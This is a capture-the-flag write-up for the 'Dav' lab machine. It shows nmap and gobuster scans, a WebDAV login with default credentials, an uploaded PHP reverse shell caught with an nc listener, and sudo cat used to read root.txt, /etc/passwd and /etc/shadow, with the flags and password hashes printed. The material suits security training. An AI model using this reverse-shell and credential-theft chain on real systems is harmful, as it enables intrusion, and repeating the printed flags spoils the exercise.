About

THM: Dav
IP: 10.10.82.0
Description:
boot2root machine for FIT and bsides guatemala CTF

Recon - rusty

http 80

Recon - nmapinit

```
Nmap scan report for 10.10.82.0
Host is up (0.23s latency).

PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.4.18 ((Ubuntu))
| http-methods:
|_  Supported Methods: OPTIONS GET HEAD POST
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nm
ap.org/submit/ .
# Nmap done at Thu Jun 17 15:39:03 2021 -- 1 IP address (1 host up) scanned in
 12.68 seconds
```

Enum - gob

```
┌─[root@parrot]─[/thm/Dav]
└──╼ #gobuster dir -u http://10.10.82.0/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -o enum/gob1.txt
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.82.0/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/06/17 15:37:23 Starting gobuster in directory enumeration mode
===============================================================
/webdav               (Status: 401) [Size: 457]
```

Enum - http Webdav

Try default credentials for webdav:
wampp:xampp

```
┌─[✗]─[root@parrot]─[/thm/Dav]
└──╼ #cadaver http://10.10.82.0/webdav
Authentication required for webdav on server `10.10.82.0':
Username: wampp
Password:
dav:/webdav/> ls
Listing collection `/webdav/': succeeded.
        passwd.dav                          44  Aug 25  2019
dav:/webdav/> get passwd.dav
Downloading `/webdav/passwd.dav' to passwd.dav:
Progress: [=============================>] 100.0% of 44 bytes succeeded.
dav:/webdav/> put enum/rphp.php
Uploading enum/rphp.php to `/webdav/rphp.php':
Progress: [=============================>] 100.0% of 5493 bytes succeeded.
dav:/webdav/> ls
Listing collection `/webdav/': succeeded.
        passwd.dav                          44  Aug 25  2019
        rphp.php                          5493  Jun 17 16:46
dav:/webdav/>
```

Exploit - Reverse Shell

navigate to: http://10.10.82.0/webdav/rphp.php

```
┌─[root@parrot]─[/thm/Dav]
└──╼ #nc -lvnp 4321
listening on [any] 4321 ...
connect to [10.2.26.235] from (UNKNOWN) [10.10.82.0] 45482
Linux ubuntu 4.4.0-159-generic #187-Ubuntu SMP Thu Aug 1 16:28:06 UTC 2019 x86_64 x86_64 x86_64 GNU/Linux
 13:49:48 up 19 min,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ cd /home
$ ls
merlin
wampp
$ cd merlin
$ ls
user.txt
```

user.txt
449b40fe93f78a938523b7e4dcd66d2a

Privesc - root

```
$ sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (ALL) NOPASSWD: /bin/cat
$ sudo cat /root/root.txt
```

root.txt
101101ddc16b0cdf65ba0b8a7af7afa5

Other

$ sudo cat /etc/passwd

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-timesync:x:100:102:systemd Time Synchronization,,,:/run/systemd:/bin/false
systemd-network:x:101:103:systemd Network Management,,,:/run/systemd/netif:/bin/false
systemd-resolve:x:102:104:systemd Resolver,,,:/run/systemd/resolve:/bin/false
systemd-bus-proxy:x:103:105:systemd Bus Proxy,,,:/run/systemd:/bin/false
syslog:x:104:108::/home/syslog:/bin/false
_apt:x:105:65534::/nonexistent:/bin/false
messagebus:x:106:110::/var/run/dbus:/bin/false
uuidd:x:107:111::/run/uuidd:/bin/false
merlin:x:1000:1000:dav,,,:/home/merlin:/bin/bash
sshd:x:108:65534::/var/run/sshd:/usr/sbin/nologin
wampp:x:1001:1001:webdav,,,:/home/wampp:/bin/bash
```

$ sudo cat /etc/shadow

```
root:!:18134:0:99999:7:::
daemon:*:17953:0:99999:7:::
bin:*:17953:0:99999:7:::
sys:*:17953:0:99999:7:::
sync:*:17953:0:99999:7:::
games:*:17953:0:99999:7:::
man:*:17953:0:99999:7:::
lp:*:17953:0:99999:7:::
mail:*:17953:0:99999:7:::
news:*:17953:0:99999:7:::
uucp:*:17953:0:99999:7:::
proxy:*:17953:0:99999:7:::
www-data:*:17953:0:99999:7:::
backup:*:17953:0:99999:7:::
list:*:17953:0:99999:7:::
irc:*:17953:0:99999:7:::
gnats:*:17953:0:99999:7:::
nobody:*:17953:0:99999:7:::
systemd-timesync:*:17953:0:99999:7:::
systemd-network:*:17953:0:99999:7:::
systemd-resolve:*:17953:0:99999:7:::
systemd-bus-proxy:*:17953:0:99999:7:::
syslog:*:17953:0:99999:7:::
_apt:*:17953:0:99999:7:::
messagebus:*:18134:0:99999:7:::
uuidd:*:18134:0:99999:7:::
merlin:$1$EWeeql.h$8mH.7rEhPRGsOb5ECtmIe1:18134:0:99999:7:::
sshd:*:18134:0:99999:7:::
wampp:-
$6$f8LMirW0$43znQ5kMsELDO9BdUmhbGkUEnVH2OKXZjfEtsyUgbvL79KoJtgLkdbJpHw4OuDDIMtaXjGjkjaRKDv1FFxKsr/:-
```

```
18134:0:99999:7:::
$
```